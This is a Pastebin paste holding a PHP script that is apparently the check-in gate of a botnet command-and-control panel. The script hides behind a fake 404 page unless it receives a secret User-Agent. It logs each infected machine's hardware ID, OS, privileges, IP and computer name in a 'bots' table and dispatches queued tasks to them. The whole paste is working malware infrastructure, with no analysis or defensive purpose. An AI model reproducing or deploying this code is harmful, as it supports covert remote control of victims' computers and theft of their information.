Advertisement
rakanturki12222

Untitled

Mar 28th, 2015
335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.83 KB | None | 0 0
  1. <?php
  2. include 'inc/config.php';
  3. include 'inc/geo/geoip.inc';
  4. $gi = geoip_open("inc/geo/GeoIP.dat", "");
  5.  
  6. $gate = $odb->query("SELECT gate_status FROM settings")->fetchColumn(0);
  7. if ($gate != "1")
  8. {
  9. die();
  10. }
  11.  
  12. if (!isset($_POST['id']) || !isset($_POST['os']) || !isset($_POST['pv']) || !isset($_POST['ip']) || !isset($_POST['cn']) || !isset($_POST['bv']))
  13. {
  14. include 'inc/404.php';
  15. die();
  16. }
  17. if ($_SERVER['HTTP_USER_AGENT'] != "E9BC3BD76216AFA560BFB5ACAF5731A3")
  18. {
  19. include 'inc/404.php';
  20. die();
  21. }
  22.  
  23. $ip = $_SERVER['REMOTE_ADDR'];
  24. $country = geoip_country_id_by_addr($gi, $ip);
  25. $hwid = $_POST['id'];
  26. $opsys = $_POST['os'];
  27. $privs = $_POST['pv'];
  28. $inpat = base64_encode($_POST['ip']);
  29. $compn = base64_encode($_POST['cn']);
  30. $botvr = $_POST['bv'];
  31. $lastr = base64_encode($_POST['lr']);
  32. $opera = "0";
  33. $taskd = "0";
  34. $unins = "0";
  35. if (isset($_POST['op']))
  36. {
  37. $opera = $_POST['op'];
  38. }
  39. if (isset($_POST['td']))
  40. {
  41. $taskd = $_POST['td'];
  42. }
  43. if (isset($_POST['uni']))
  44. {
  45. $unins = $_POST['uni'];
  46. }
  47.  
  48. if (!ctype_alnum($hwid) || !ctype_alnum($privs) || !ctype_alnum($opera) || !ctype_alnum($taskd) || !ctype_alnum($unins) || !preg_match('/^[a-z0-9 .]+$/i', $botvr) || !preg_match('/^[a-z0-9 .]+$/i', $opsys))
  49. {
  50. include 'inc/404.php';
  51. die();
  52. }
  53.  
  54. $exs = $odb->prepare("SELECT COUNT(*) FROM bots WHERE bothwid = :h");
  55. $exs->execute(array(":h" => $hwid));
  56. if ($exs->fetchColumn(0) == "0")
  57. {
  58. $i = $odb->prepare("INSERT INTO bots VALUES(NULL, :hw, :ip, :cn, UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), :td, :os, :bv, :pv, :in, :cp, :lr, '1')");
  59. $i->execute(array(":hw" => $hwid, ":ip" => $ip, ":cn" => $country, ":td" => $taskd, ":os" => $opsys, ":bv" => $botvr, ":pv" => $privs, ":in" => $inpat, ":cp" => $compn, ":lr" => $lastr));
  60. }else{
  61. $u = $odb->prepare("UPDATE bots SET lastresponse = UNIX_TIMESTAMP(), currenttask = :c WHERE bothwid = :h");
  62. $u->execute(array(":c" => $taskd, ":h" => $hwid));
  63. }
  64.  
  65. if ($opera == "1")
  66. {
  67. $in = $odb->prepare("INSERT INTO tasks_completed VALUES(NULL, :h, :i)");
  68. $in->execute(array(":h" => $hwid, ":i" => $taskd));
  69. }
  70. if ($unins == "1")
  71. {
  72. $del = $odb->prepare("DELETE FROM bots WHERE bothwid = :h LIMIT 1");
  73. $del->execute(array(":h" => $hwid));
  74. }
  75.  
  76. $cmds = $odb->query("SELECT * FROM tasks ORDER BY id");
  77. while ($com = $cmds->fetch(PDO::FETCH_ASSOC))
  78. {
  79. if ($com['status'] == "1")
  80. {
  81. $executions = $odb->query("SELECT COUNT(*) FROM tasks_completed WHERE taskid = '".$com['id']."'")->fetchColumn(0);
  82. if ($executions == $com['executions'])
  83. {
  84. continue;
  85. }else{
  86. $ae = $odb->prepare("SELECT COUNT(*) FROM tasks_completed WHERE taskid = :i AND bothwid = :h");
  87. $ae->execute(array(":i" => $com['id'], ":h" => $hwid));
  88. if ($ae->fetchColumn(0) == 0)
  89. {
  90. echo 'newtask:'.$com['id'].':'.base64_encode($com['task']).':'.base64_encode($com['params']);
  91. break;
  92. }
  93. }
  94. }
  95. }
  96. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement